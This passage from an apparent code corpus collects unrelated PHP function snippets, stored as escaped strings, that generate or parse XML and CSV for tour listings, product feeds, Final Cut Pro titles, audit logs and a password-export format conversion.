strip_tags() removes the unnecessary HTML tags if they are present\n\t\t\t\t\t\t\t */\n\t\t\t\t\t\t\t$csv_tour_content[$param->getName()] = trim(strip_tags($param->__toString()), \" \\t\\n\\r\\0\\x0B\\xC2\\xA0\");\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t// number_format formats the $price to have 2 decimal places\n\t\t\t\t\t$csv_tour_content['MinPrice'] = number_format($minPrice, 2, '.', '');\n\t\t\t\t\t// new row \\n then create row: col1|col2|col3...\n\t\t\t\t\t$output_csv .= \"\\n\" . implode(\"|\", array_values($csv_tour_content));\n\t\t\t\t}\n\t\t\t\treturn $output_csv;\n\t\t\t} // empty -> no tours\n\t\t} // XML error\n\t\t// Return false if there are any errors\n\t\treturn false;\n\t}", "function ss_print_attributes($arr_data){\n\t\t$str_data = \"\";\n foreach ($arr_data as $key => $value) {\n \t$str_data .= $key.\"='\".$value.\"'\";\n }\n return $str_data;\n\t}", "function print_tag($mode,$tag,$xpath,$count) {\n global $doc_assessments, $xids;\n global $tags, $current_xid, $in_mathml;\n array_push($tags,$tag);\n if ($doc_assessments) $a = $doc_assessments->get_element_by_id($current_xid);\n\n // i:m represent the assessment values mask\n // i:cm represent the assessment values mask for descendants without a mask\n // i:a is the current assessed value\n // i:p post-id value\n print \"<$mode s='' id='$current_xid' i:post='\" . ($current_xid+$count)\n . \"' class='xmle' path='$xpath'\"\n . (sizeof($xids) > 0 ? \" i:p='\" . $xids[sizeof($xids)-1] . \"'\" : \"\")\n . ($a ? \" name='\" . $a->get_assessment_wta() . \"'\"\n . ($a->is_inferred() ? \" ii='yes'\" : \"\")\n . ($a->is_inconsistant() ? \" ic='yes'\" : \"\")\n . ($a->is_in_pool() ? \" ip='yes'\" : \"\")\n : \" name='U'\")\n . \">\";\n $xids[] = $current_xid;\n $current_xid++;\n// if ($mode == \"tr\") print \"<td class='xmlp'><span class='xml'>$tag</span></td>\"; else\n// if ($mode == \"tbody\") print \"<tr class='xmlp'><td class='xmlp'><span class='xml'>$tag</span></td></tr>\";\n// else print \"<span class='xml'>$tag</span>\\n\";\n\n}", "function genexml2($matricule,$nom,$prenom,$datenaissance,$lieunaissance,$telephone,$montantdu,$anneeacademique,$statut,$etablissement,$filiere,$nationalite, $type){\n\t$xml = new DOMDocument('1.0', 'utf-8');\n\t//$items = $xml->createElement('id_dataTable');\n\t\t$item = $xml->createElement('etudiant');\n\t\t$db_item=[\"matricule\"=>$matricule,\"nom\"=>$nom,\"prenom\"=>$prenom,\"telephone\"=>$telephone,\"anneeacademique\"=>$anneeacademique,\"etablissement\"=>$etablissement,\"anneeEtude\"=>$filiere,\"nationalite\"=>$nationalite,\"statut\"=>$statut,\"montant\"=>$montantdu,\"categorie\"=>$type,\"datePaiement\"=>\"\",\"reftransaction\"=>\"\",\"intermediairePaiement\"=>\"\"];\n\t\tforeach($db_item as $key => $value){\n\t\t\t$node = $xml->createElement($key,$value);\n\t\t\t$item->appendChild($node);\n\t\t}\n\t\t//$items->appendChild($item);\n\t$xml->appendChild($item);\n\t$date=date(\"Y-m-d\");\n\t$date=convertdatebanque($date);\n\t\n\treturn $xml->saveXML();\n}", "public function toString() {\n\t\t$this->_createXml();\n\t\treturn $this->_xml->toString(array('cdata' => false, 'header' => true));\n\t}", "public function __toString()\n {\n $attributes = '';\n\n if ($this->data) {\n ksort($this->data);\n foreach ($this->data as $name => $value) {\n $attributes .= \" $name=\\\"$value\\\"\";\n }\n }\n\n if ($this->tag) {\n return '<' . $this->tag . $attributes . (($this->selfclose) ? \" />\" : '>');\n }\n\n return $attributes;\n }", "function to_xml(){\n\t\tif ($this->skip) return \"\";\n\t\t\n\t\t$str=\"<item id='\".$this->get_id().\"' >\";\n\t\tfor ($i=0; $i<sizeof($this->config->text); $i++){\n\t\t\t$extra = $this->config->text[$i][\"name\"];\n\t\t\t$str.=\"<\".$extra.\"><![CDATA[\".$this->data[$extra].\"]]></\".$extra.\">\";\n\t\t}\n\t\treturn $str.\"</item>\";\n\t}", "function displayXml($annotations){\n $data=\"\";\n foreach($annotations as $index => $annotation) {\n if(is_array($annotation)) {\n foreach($annotation as $key => $value) {\n $data.=\"<$key>\";\n if(is_array($value)) {\n foreach($value as $tag => $val) {\n if(is_array($val)){\n foreach($val as $tag => $vals){\n $data.=\"<$tag>$vals</$tag>\\n\";\n }\n }\n else{$data.=\"<$tag>$val</$tag>\\n\";}\n }\n }\n else{$data.= $value;}\n $data.=\"</$key>\\n\\n\";\n }\n }\n }\n return $data;\n}", "public function __toString(){\n\t\treturn $this->combineElements();\n\t}", "public function toXML();", "public function xml_prase_array(){\n\t\t$str=array();\n\t\n\t\t\t$fg=$this->xml->children(); \n\t\t//echo \t$fg->count().\"dds\";\n\t\t\t//$i=0;\n\t\t\tforeach ($fg[1]->children() as $re=>$fw) {\n\t\t\t\t$ds=array();\n\t\t\t\tforeach ($fw->children() as $fw1) {\n\t\t\t\t $str1=$fw1->getName();\n\t\t\t\t//echo $fw1;\n\t\t\t\t$r=(string)$fw1;\n\t\t\t\t//$ds=array();\n\t\t\t\t$ds[$str1]=$r;\n\t\t\t\t///$this->xml->saveXML();\n\t\t\t\t//print_r($fw1);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$str[$re]=$ds;\n\t\t//$i++;\n\t\t\t}\n\t\t\n\t\t\t$this->xml->saveXML();\n\t\t\n\t\treturn $str;\n\t}", "public function asXML();", "public function get_CSV_Attr()\n\t{\n\t\t$handle = fopen(\"./tables/attributes.csv\", \"r\");\n\t\t$first_row = true;\n\t\t$final_ata = array();\n\t\t$headers = array();\n\n\t\twhile (($data = fgetcsv($handle, 1000, \",\")) !== FALSE) \n\t\t{ \n\t\t\tif($first_row) \n\t\t\t{\n\t\t\t\t$headers = $data;\n\t\t\t\t$first_row = false;\n\t\t\t} \n\t\t\telse \n\t\t\t{\n\t\t\t\t$final_ata[] = array_combine($headers, array_values($data));\n\t\t\t}\n\t\t}\n\n\t\t$result_arr = array();\t\n\t\tforeach($final_ata as $key => $value)\n\t\t{\n\t\t\t$name = $final_ata[$key]['ATTR_Varaiable'];\n\t\t\t$result_arr[$name] = $value;\n\t\t}\n\t\treturn($result_arr);\n \n }", "public function __toString(){\n\t\t$str = \"{ \";\n\t\tforeach ( $this->attributes as $name=>$val) {\n\t\t\tif( is_array( $val))\n\t\t\t\t$val = new xo_array($val);\n\t\t\t$str .= \"'$name' = '$val',\";\n\t\t}\n\t\t//print_r( $this->attributes);\n\t\treturn \"$str } \". count( $this->attributes) . \" magic members.\";\t\n\t}", "public function __toString() {\n\t\treturn $this->xml_definition->asXML();\n\t}", "public function print_elements_section_info()\n {\n }", "function generateElementXML($this_depth,&$element_obj,$isGet=false){\n\t\t$profile = $this->profileFactory->getProfile($element_obj->getProfileNode());\n\n\t\t$element_str='';\n\t\t$discard = false;\n\n\t\tif($element_obj->IsPrivate === true)\n\t\t\t$more_attributes.='private=\"true\" ';\n\n\t\t$element_str.='<'.$element_obj->module.' depth=\"'.($this_depth+1).'\" '.$more_attributes.'ID=\"'.$element_obj->getID().'\"'.$element_obj->attributes;\n\n\t\tif(Sushee_Request::isSecured()){\n\t\t\t$element_str.=' security=\"'.$element_obj->security.'\"';\n\t\t}\n\t\t$element_str.='>';\n\t\tif ($element_obj->IsPrivate !== true){\n\t\t\t$element_str.=$element_obj->info_xml;\n\n\t\t\tif($profile->returnDescriptions() ){\n\t\t\t\t$descXML = $this->getServiceXML('description',$element_obj->getModule(),$element_obj->getID());\n\t\t\t\tif($profile->desc_discarding === 'absent' && $descXML == ''){\n\t\t\t\t\treturn '';\n\t\t\t\t}\n\t\t\t\t$element_str.='<DESCRIPTIONS>';\n\t\t\t\t$element_str.=$descXML;\n\t\t\t\t$element_str.='</DESCRIPTIONS>';\n\t\t\t}\n\t\t\tif($profile->returnCategories() ){\n\t\t\t\t$element_str.='<CATEGORIES>';\n\t\t\t\t$element_str.=$this->getServiceXML('category',$element_obj->getModule(),$element_obj->getID());\n\t\t\t\t$element_str.='</CATEGORIES>';\n\t\t\t}\n\t\t\tif($profile->returnComments() ){\n\t\t\t\t$element_str.='<COMMENTS>';\n\t\t\t\t$element_str.=$this->getServiceXML('comment',$element_obj->getModule(),$element_obj->getID());\n\t\t\t\t$element_str.='</COMMENTS>';\n\t\t\t}\n\t\t\tif($profile->returnDependencies() ){\n\t\t\t\tif(is_array($element_obj->dependencies)){\n\t\t\t\t\t$element_str.='<DEPENDENCIES>';\n\t\t\t\t\tforeach($element_obj->dependencies as $depID=>$deps){\n\t\t\t\t\t\t$dependencyType = depType($depID);\n\t\t\t\t\t\t$moduleTargetInfo = moduleInfo($dependencyType->ModuleTargetID);\n\n\t\t\t\t\t\t$element_str.='<DEPENDENCY type=\"'.$dependencyType->name.'\" module=\"'.$moduleTargetInfo->name.'\" hits=\"'.$element_obj->getDependenciesHits($dependencyType).'\">';\n\n\t\t\t\t\t\tforeach($deps as $dep){\n\t\t\t\t\t\t\t$element_str.=$this->generateElementXML($this_depth+1,$dep);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$element_str.='</DEPENDENCY>';\n\t\t\t\t\t}\n\t\t\t\t\t$element_str.='</DEPENDENCIES>';\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif($profile->returnOmnilinks())\n\t\t\t\t$element_str.=$element_obj->omnilinks_xml;\n\n\t\t\t$element_str.=$element_obj->getAdditionalContent();\n\t\t}\n\n\t\t$element_str.='</'.$element_obj->module.'>';\n\n\t\treturn $element_str;\n\t}", "function getCSV($xml, $root_group = []) {\n\t// keepass fields: group, title, username, password, url, notes, lastmodified, created\n\t// revelation fields: name, description/notes, updated, generic-hostname/generic-url/generic-domain, generic-username/generic-email, generic-password, generic-database\n\t$lines = [];\n\tforeach ($xml->entry as $entry) {\n\t\tif ($entry[\"type\"] == 'folder') {\n\t\t\t$_root_group = $root_group;\n\t\t\t$_root_group[] = $entry->name;\n\t\t\t$_lines = getCSV($entry, $_root_group);\n\t\t\t$lines = array_merge($lines, $_lines);\n\t\t} else {\n\t\t\t$group = implode(\"/\", $root_group);\n\t\t\t$title = (string)$entry->name;\n\t\t\t$lastmodified = (string)$entry->updated;\n\t\t\t$notes = \"Description: \\n\" . $entry->description . \"\\n\\n------\\nNotes: \\n\" . $entry->notes;\n\n\t\t\t$password = '';\n\t\t\t$_username = [];\n\t\t\t$_url = [];\n\n\t\t\tforeach ($entry->field as $field) {\n\t\t\t\tswitch((string)$field[\"id\"]) {\n\t\t\t\t\tcase \"generic-hostname\":\n\t\t\t\t\tcase \"generic-url\":\n\t\t\t\t\tcase \"generic-domain\":\n\t\t\t\t\t\t$_url[] = (string)$field;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"generic-username\":\n\t\t\t\t\tcase \"generic-email\":\n\t\t\t\t\t\t$_username[] = (string)$field;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"generic-password\":\n\t\t\t\t\t\t$password = (string)$field;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"generic-database\":\n\t\t\t\t\t\t$notes .= \"\\n\\n--------\\nDatabase: \" . (string)$field;\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t$url = implode(\" / \", $_url);\n\t\t\t$username = implode(\" / \", $_username);\n\n\t\t\t$line = [$group, $title, $username, $password, $url, $notes, $lastmodified];\n\t\t\t$lines[] = $line;\n\t\t}\n\t}\n\treturn $lines;\n}", "function _info() {\n $inf = array();\n $ar = array();\n foreach($this->attribs as $i => $a) $ar[$i] = self::html_attr2str($a);\n $inf['attribs'] = $ar ;\n $inf['attrs'] = $attrs ;\n $inf['idx_attr'] = $this->idx_attr ;\n $inf['tag_idx'] = $this->tag_idx ;\n $inf['attr_idx'] = $this->attr_idx ;\n $inf['class_idx'] = $this->class_idx ;\n\n $lev = array();\n $nm = array();\n $st = array();\n $pb = -1; $pe = PHP_INT_MAX;\n $l = 0;\n foreach($this->ids as $b => $e) {\n if($pb < $b && $b < $pe) {\n $st[] = array($pb, $pe);\n list($pb, $pe) = array($b, $e);\n }\n else while($pe < $b && $st) {\n list($pb, $pe) = array_pop($st);\n }\n $nm[$b] = $this->tags[$b];\n $lev[$b] = count($st);\n }\n foreach($nm as $b => &$n) {\n $n = str_repeat(' -', $lev[$b]) . ' < ' . $n . ' ' . $this->get_attr_byId($b, NULL, true) . ' >';\n }\n $nm = implode(\"\\n\", $nm);\n $inf['struc'] = $nm;\n unset($lev, $st, $nm);\n return $inf;\n }", "public function displayXML()\n\t{\n\t\techo \"<pre>\";\n\t\tprint_r($this->haloXML);\n\t\techo \"</pre>\";\n\t}", "public function __toString(){\r\n return $this->saveXMl();\r\n }", "public function __toString()\n\t{\n\t\treturn PHP_EOL.$this->_name.' '.implode($this->_glue, $this->_elements);\n\t}", "public function fcpx_xml($array) { //final cut pro x\n\n $xml = new SimpleXMLElement(\"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?><fcpxml version=\\\"1.4\\\"></fcpxml>\");\n $resources = $xml->addChild(\"resources\");\n\n foreach($array as $key => $value ) {\n\n //variabili utili\n $medianum= $key +3;\n $num= $key +1;\n $uidlength = 10;\n $uid = substr(str_shuffle(\"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"), 0, $uidlength);\n //end\n\n $media = $resources->addChild(\"media\");\n\n if ($key == 0) {\n $media->addAttribute('id', \"r1\");\n } else {\n $media->addAttribute('id', \"r${medianum}\");\n }\n\n $media->addAttribute('name', $value);\n $media->addAttribute('uid', $uid );\n\n\n $sequence = $media->addChild(\"sequence\");\n $sequence->addAttribute('duration', \"3s\");\n $sequence->addAttribute('format', \"r2\");\n $sequence->addAttribute('tcStart', \"0s\");\n\n $spine = $sequence->addChild(\"spine\");\n\n $title = $spine->addChild(\"title\");\n $title->addAttribute('name', \"Basic Title:\" . \" \" . $value);\n $title->addAttribute('offset', \"0s\");\n $title->addAttribute('ref', \"r3\");\n $title->addAttribute('duration', \"3s\");\n $title->addAttribute('start', \"3600s\");\n\n $param = $title->addChild(\"param\");\n $param->addAttribute('name', \"Baseline\");\n $param->addAttribute('key', \"9999/999166631/999166633/5/1999891762/6\");\n $param->addAttribute('value', \"-430\");\n\n $param = $title->addChild(\"param\");\n $param->addAttribute('name', \"Font\");\n $param->addAttribute('key', \"9999/999166631/999166633/5/1999891762/83\");\n $param->addAttribute('value', \"32 0\");\n\n $text = $title->addChild(\"text\");\n\n $textstyle = $text->addChild(\"text-style\", $value);\n $textstyle->addAttribute('ref', \"ts${num}\");\n\n $textstyledef = $title->addChild(\"text-style-def\");\n $textstyledef->addAttribute('id', \"ts${num}\");\n\n\n $textstyle = $textstyledef->addChild(\"text-style\");\n $textstyle->addAttribute('font', \"Arial\");\n $textstyle->addAttribute('fontSize', \"63\");\n $textstyle->addAttribute('fontFace', \"Regular\");\n $textstyle->addAttribute('fontColor', \"1 0.999974 0.999991 1\");\n $textstyle->addAttribute('alignment', \"center\");\n\n $adjusttransform = $title->addChild(\"adjust-transform\");\n $adjusttransform->addAttribute('position', \"0 -39.8148\");\n\n $metadata = $sequence->addChild(\"metadata\");\n\n $md = $metadata->addChild(\"md\");\n $md->addAttribute('key', \"com.apple.proapps.studio.metadataFieldDominanceOverride\");\n $md->addAttribute('value', \"0\");\n\n $md = $metadata->addChild(\"md\");\n $md->addAttribute('key', \"com.apple.proapps.studio.metadataAnamorphicType\");\n $md->addAttribute('value', \"0\");\n\n $md = $metadata->addChild(\"md\");\n $md->addAttribute('key', \"com.apple.proapps.studio.metadataDeinterlaceType\");\n $md->addAttribute('value', \"0\");\n\n if ($key == 0) {\n //R2-R3\n $format = $resources->addChild(\"format\");\n $format->addAttribute('id', \"r2\");\n $format->addAttribute('name', \"FFVideoFormat720p25\");\n $format->addAttribute('frameDuration', \"100/2500s\");\n $format->addAttribute('width', \"1280\");\n $format->addAttribute('height', \"720\");\n\n $effect = $resources->addChild(\"effect\");\n $effect->addAttribute('id', \"r3\");\n $effect->addAttribute('name', \"Basic Title\");\n $effect->addAttribute('uid', \".../Titles.localized/Bumper:Opener.localized/Basic Title.localized/Basic Title.moti\");\n }\n\n }\n\n //LIBRARY\n $library = $xml->addChild(\"library\");\n $library->addAttribute('location', \"file:///Users/ilgattohanuovecode/Movies/fcp.fcpbundle/\");\n\n $event = $library->addChild(\"event\");\n $event->addAttribute('name', \"Sottotitoli\");\n $event->addAttribute('uid', \"BA63E2F0-4D48-45F1-A158-D0D2164B1FC3\");\n\n foreach($array as $key => $value ) {\n $medianum= $key +3;\n\n $refclip = $event->addChild(\"ref-clip\");\n $refclip->addAttribute('name', $value);\n\n if ($key == 0) {\n $refclip->addAttribute('ref', \"r1\");\n } else {\n $refclip->addAttribute('ref', \"r${medianum}\");\n }\n\n $refclip->addAttribute('duration', \"19900/2500s\");\n\n }\n\n header('Content-type: text/xml');\n header('Content-Disposition: attachment; filename=\"final-cut-pro-X-title.fcpxml\"');\n\n echo $xml->asXML();\n exit();\n\n }", "public function __toString()\n {\n $text = '<'.$this->getType().$this->getAttributeList().'>';\n foreach ($this->getChildren() as $child) {\n $text .= (string) $child;\n }\n $text .= '</'.$this->getType().'>';\n\n return $text;\n }", "function print_r_xml($arr,$first=true)\r\n{\r\n $output = \"\";\r\n if ($first) $output .= \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n<data>\\n\";\r\n foreach($arr as $key => $val)\r\n {\r\n if (is_numeric($key)) $key = \"arr_\".$key; // <0 is not allowed\r\n switch (gettype($val))\r\n {\r\n case \"array\":\r\n $output .= \"<\".htmlspecialchars($key).\" type='array' size='\".count($val).\"'>\".\r\n print_r_xml($val,false).\"</\".htmlspecialchars($key).\">\\n\";\r\n break;\r\n case \"boolean\":\r\n $output .= \"<\".htmlspecialchars($key).\" type='bool'>\".($val?\"true\":\"false\").\r\n \"</\".htmlspecialchars($key).\">\\n\";\r\n break;\r\n case \"integer\":\r\n $output .= \"<\".htmlspecialchars($key).\" type='integer'>\".\r\n htmlspecialchars($val).\"</\".htmlspecialchars($key).\">\\n\";\r\n break;\r\n case \"double\":\r\n $output .= \"<\".htmlspecialchars($key).\" type='double'>\".\r\n htmlspecialchars($val).\"</\".htmlspecialchars($key).\">\\n\";\r\n break;\r\n case \"string\":\r\n $output .= \"<\".htmlspecialchars($key).\" type='string' size='\".strlen($val).\"'>\".\r\n htmlspecialchars($val).\"</\".htmlspecialchars($key).\">\\n\";\r\n break;\r\n default:\r\n $output .= \"<\".htmlspecialchars($key).\" type='unknown'>\".gettype($val).\r\n \"</\".htmlspecialchars($key).\">\\n\";\r\n break;\r\n }\r\n }\r\n if ($first) $output .= \"</data>\\n\";\r\n return $output;\r\n}", "function getData($data){\n// $myfile = fopen($data, \"r\") or die(\"Unable to open file!\");\n// $stream = fread($myfile,filesize(\"data.xml\"));\n// fclose($myfile);\n $stream = '\n<product><Type>finance-wow</Type><company>bank</company><name>ING</name><prod2 id=\"test\" color=\"red\"><Ty>finance</Ty><company>bank</company></prod2></product>\n ';\n// $stream = str_replace(array(\"\\r\", \"\\n\"), '', $stream);\n// $stream = trim(preg_replace('/\\s+/', '', $stream)); // all white spaces\n $stream = trim(preg_replace('/(\\>)\\s*(\\<)/m', '$1$2', $stream)); // white spaces in between tags\n\n// $stream = readfile('data.xml');\n// $xml = new SimpleXMLElement($stream);\n $xml = new SimpleXmlIterator($stream);\n return $xml;\n}", "function getProducts($u,$cat){\n global $o;\n $d = new simple_html_dom();\n $d->load(scraperwiki::scrape($u));\n//echo \"Loaded URL: \" . $u . \"\\n\";\n $items = $d->find('li.grid-item');\n if (count($items) > 0) {\n \tforeach ($items as $p) {\n \t\t$prod = $p->find('p.product-name > a',0);\n \t\t$prodname = trim($prod->innertext);\n \t\t$prodURL = $prod->href;\n \t\tif (!is_null($p->find('p.minimal-price',0))) {\n \t\t $prodtype = 1;\n \t\t} else {\n \t\t $prodtype = 0;\n \t\t}\n \t\tfputcsv($o,array($prodname, $prodtype, $cat, $prodURL));\necho $prodname . \"\\n\";\n \t}\n \tif (!is_null($d->find('p.next',0))) {\n \t\tgetProducts($d->find('p.next',0)->href,$cat);\n \t}\n }\n}", "public function writeCsvFieldsProductos($id,$name,$parent,$reference,$image,$wholesaleprice,$price,$feature,$description,$manufacturer,$shortDescription){\n //echo \"La descripcion 3 es: \".$shortDescription.\"<br>\";\n $vector = array(\n $id,\n 1,\n $name,\n $parent,\n $price,\n 31,\n $wholesaleprice,\n \"\",\n \"\",\n \"\",\n \"\",\n \"\",\n $reference,\n \"\",\n \"\",\n $manufacturer,\n \"\",\n \"\",\n \"\",\n \"\",\n \"\",\n \"\",\n \"\",\n 100,\n 1,\n \"both\",\n \"\",\n \"\",\n \"\",\n $shortDescription,\n $description,\n $name,\n $name,\n $name,\n $shortDescription,\n \"\",\n \"\",\n \"\",\n \"\",\n \"\",\n \"\",\n \"\",\n $image,\n \"\",\n $feature,\n 1,\n \"new\",\n \"0\",\n \"0\",\n \"0\",\n \"0\",\n \"1\",\n \"\",\n \"\",\n \"\"\n );\n return $vector;\n }", "function displayOrganismList($querytype){\n global $txdb_service;$file=$txdb_service.\"?s=1&querytype=$querytype\";$data=\"\";\n $xml = simplexml_load_file(\"$file\");\n if($xml){ $organisms=$xml->children()->organism;$i=0; \n while($i<count($organisms)){\n $name=$organisms[$i]->children()->name;$db=$organisms[$i]->children()->version;\n $version=$organisms[$i]->children()->version_id;\n if($i==0){$data=\"$version:$name:$db\";}\n else $data.=\",$version:$name:$db\";\n ++$i;\n }\n }\n return $data; \n}", "public function __toString()\n {\n $result = \"<{$this->getTagName()}\";\n foreach ($this->getAttributes() as $key => $value) {\n $result .= \" {$key}=\\\"\" . Util::escape($value) . \"\\\"\";\n }\n if ($this->hasChild()) {\n $result .= '>';\n foreach ($this->getChildren() as $node) {\n $result .= $node->toString();\n }\n $result .= \"</{$this->getTagName()}>\";\n } else {\n $result .= ' />';\n }\n return $result;\n }", "function end_element($parser, $name) {\r\n if ( $name == 'ITEM' ) {\r\n print '</li>';\r\n } elseif ( $name == 'ITEM' ) {\r\n print '</span>';\r\n } elseif ( in_array($name, $this->showFields) ) {\r\n print ', ';\r\n }\r\n\r\n $this->make_link = false;\r\n }", "function __toString()\n {\n return \"combined attributes comma separated\";\n\n }", "abstract public function getDataprotXML();", "function generateXML( $node,&$strArr,$level ){\r\n\r\n\t$i=0;\r\n\t$tabs=\"\";\r\n\twhile( $i<$level ){\r\n\t\t$tabs .= \"\t\";\r\n\t\t$i++;\r\n\t}\r\n\t//print_r($node);\r\n\tif( isset($node['childs']) && is_array( $node['childs'] ) && count( $node['childs'] )>0 ){\r\n\t\t$strArr[] = $tabs.\"<\".$node['name'].\">\";\r\n\t\t$i=0;\r\n\t\tforeach ( $node['childs'] as $k=>$c ) {\r\n\t\t\tgenerateXML( $c,$strArr,$level+1 );\r\n\t\t}\r\n\t\t$strArr[] = $tabs.\"</\".$node['name'].\">\";\r\n\t}\r\n\telse{\r\n\t\t$strArr[] = $tabs.\"<\".$node['name'].\">\".$node['value'].\"</\".$node['name'].\">\";\r\n\t}\r\n}", "function get_auditlog_csv()\n{\n\n $xml = get_auditlog_xml(array(\"records\" => \"\"));\n\n // output header for csv\n header(\"Content-type: application/octet-stream\");\n header(\"Content-Disposition: attachment; filename=\\\"auditlog.csv\\\"\");\n\n // column definitions\n echo \"id,time,source,user,type,ip_address,message,details\\n\";\n\n // bail out of trial expired\n if (enterprise_features_enabled() == false)\n return;\n\n //print_r($xml);\n //exit();\n\n if ($xml) {\n foreach ($xml->auditlogentry as $a) {\n\n echo \"\\\"\" . $a->id . \"\\\",\\\"\" . $a->log_time . \"\\\",\\\"\" . $a->source . \"\\\",\\\"\" . $a->user . \"\\\",\\\"\" . $a->type . \"\\\",\\\"\" . $a->ip_address . \"\\\",\\\"\" . $a->message . \"\\\"\\n\";\n }\n }\n}", "public function toXML() {\n $xml = new SimpleXMLElement('<'.array_pop(explode('\\\\', get_class($this))).'/>');\n foreach ($this->first()->attributes as $key => $value) {\n if (is_numeric($key)) {\n $key = 'item' . $key; //dealing with <0/>..<n/> issues\n }\n if (is_array($value)) {\n $subnode = $xml->addChild($key);\n $this->array_to_xml($value, $subnode);\n } else {\n $xml->addChild(\"$key\", htmlspecialchars(\"$value\"));\n }\n }\n return $xml->asXML();\n }", "public function exportToString()\n {\n $output = \"\"; \n $output .= \"<product>\" . PHP_EOL; \n $output .= \"<merchant_ref>{$this->sku}</merchant_ref>\" . PHP_EOL; \n $output .= \"<product_url>{$this->url}</product_url>\" . PHP_EOL; \n $output .= \"<image_url>{$this->imageUrl}</image_url>\" . PHP_EOL; \n $output .= \"<price>{$this->price}</price>\" . PHP_EOL; \n $output .= \"<shipping_cost>{$this->shippingCost}</shipping_cost>\" . PHP_EOL; \n $output .= \"<designation>{$this->title}</designation>\" . PHP_EOL; \n $output .= \"<description><![CDATA[{$this->description}]]></description>\" . PHP_EOL; \n $output .= \"<in_stock>{$this->instock}</in_stock>\" . PHP_EOL; \n $output .= \"<condition>{$this->condition}</condition>\" . PHP_EOL; \n $output .= \"<category>\" . $this->exportCategories() . \"</category>\" . PHP_EOL; \n $output .= \"</product>\" . PHP_EOL; \n\n return $output; \n }", "private function printItems()\n\t{ \n\t\tforeach ($this->items as $item) \n\t\t{\n\t\t\t$thisItems = $item->get_elements();\n\t\t\t\n\t\t\t//the argument is printed as rdf:about attribute of item in rss 1.0 \n\t\t\techo $this->startItem($thisItems['link']['content']);\n\t\t\t\n\t\t\tforeach ($thisItems as $zajlib_feed_item ) \n\t\t\t{\n\t\t\t\techo $this->makeNode($zajlib_feed_item['name'], $zajlib_feed_item['content'], $zajlib_feed_item['attributes']); \n\t\t\t}\n\t\t\techo $this->endItem();\n\t\t}\n\t}", "static function convert($contents, $get_attributes=1)\n {\n if(!$contents) return array();\n \n if(!function_exists('xml_parser_create')) {\n //print \"'xml_parser_create()' function not found!\";\n return array();\n }\n //Get the XML parser of PHP - PHP must have this module for the parser to work\n $parser = xml_parser_create();\n xml_parser_set_option( $parser, XML_OPTION_CASE_FOLDING, 0 );\n xml_parser_set_option( $parser, XML_OPTION_SKIP_WHITE, 1 );\n xml_parse_into_struct( $parser, $contents, $xml_values );\n xml_parser_free( $parser );\n \n if(!$xml_values) return;//Hmm...\n \n //Initializations\n $xml_array = array();\n $parents = array();\n $opened_tags = array();\n $arr = array();\n \n $current = &$xml_array;\n \n //Go through the tags.\n foreach($xml_values as $data) {\n unset($attributes,$value);//Remove existing values, or there will be trouble\n \n //This command will extract these variables into the foreach scope\n // tag(string), type(string), level(int), attributes(array).\n extract($data);//We could use the array by itself, but this cooler.\n \n $result = '';\n if($get_attributes) {//The second argument of the function decides this.\n $result = array();\n if(isset($value)) $result['value'] = $value;\n \n //Set the attributes too.\n if(isset($attributes)) {\n foreach($attributes as $attr => $val) {\n if($get_attributes == 1) $result['attr'][$attr] = $val; //Set all the attributes in a array called 'attr'\n /** :TODO: should we change the key name to '_attr'? Someone may use the tagname 'attr'. Same goes for 'value' too */\n }\n }\n } elseif(isset($value)) {\n $result = $value;\n }\n \n //See tag status and do the needed.\n if($type == \"open\") {//The starting of the tag '<tag>'\n $parent[$level-1] = &$current;\n \n if(!is_array($current) or (!in_array($tag, array_keys($current)))) { //Insert New tag\n $current[$tag] = $result;\n $current = &$current[$tag];\n \n } else { //There was another element with the same tag name\n if(isset($current[$tag][0])) {\n array_push($current[$tag], $result);\n } else {\n $current[$tag] = array($current[$tag],$result);\n }\n $last = count($current[$tag]) - 1;\n $current = &$current[$tag][$last];\n }\n \n } elseif($type == \"complete\") { //Tags that ends in 1 line '<tag />'\n //See if the key is already taken.\n if(!isset($current[$tag])) { //New Key\n $current[$tag] = $result;\n \n } else { //If taken, put all things inside a list(array)\n if((is_array($current[$tag]) and $get_attributes == 0)//If it is already an array...\n or (isset($current[$tag][0]) and is_array($current[$tag][0]) and $get_attributes == 1)) {\n array_push($current[$tag],$result); // ...push the new element into that array.\n } else { //If it is not an array...\n $current[$tag] = array($current[$tag],$result); //...Make it an array using using the existing value and the new value\n }\n }\n \n } elseif($type == 'close') { //End of tag '</tag>'\n $current = &$parent[$level-1];\n }\n }\n \n return($xml_array);\n }", "public function toString()\n {\n /*\n * End feed element\n */\n $this->endElement();\n \n /*\n * Write result\n */\n return parent::toString();\n }", "function getTransCsvInner($tmp, $prefix, $header)\n{\n $csv = '';\n\n $name = $tmp->number . ' ' . $tmp->text_fr;\n if (strlen(trim($name)) < 1) {\n $name = \"[blank keyword -- ID #{$tmp->id}]\";\n }\n\n $csvRow = array($prefix);\n foreach ($tmp as $k => $v) {\n if (strlen($k) > 1 && substr($k, 0, 1) != '_') {\n $csvRow[] = $v;\n }\n }\n foreach ($csvRow as $k => $v) {\n $csvRow[$k] = str_replace('\"', '\\\"', $v);\n }\n\n // Update CSV and recurse to next level:\n if ($header) {\n $csv .= getTransCsvHeader($tmp, array('parent path'));\n }\n $csv .= implode(',', $csvRow) . \"\\n\";\n $csv .= getTransCsv($tmp->id, empty($prefix) ? $name : $prefix . ' > ' . $name, false);\n\n return $csv;\n}", "function attributer($attributes){\n\t$output = '';\n\tforeach ($attributes as $attribute => $value) {\n\t \tif(is_array($value)){ //breaks down any array into a string\n\t \t\tswitch ($attribute) {\n\t \t\t\tcase 'class': \t$output .= 'class=\"'.implode(' ', $value).'\" '; break;\n\t \t\t\tcase 'onclick': $output .= $value.'()'; break;\n\t \t\t\tcase 'data': \tforeach ($value as $name=>$val) { $output .= 'data-'.$key.'= \"'.$val.'\" '; } 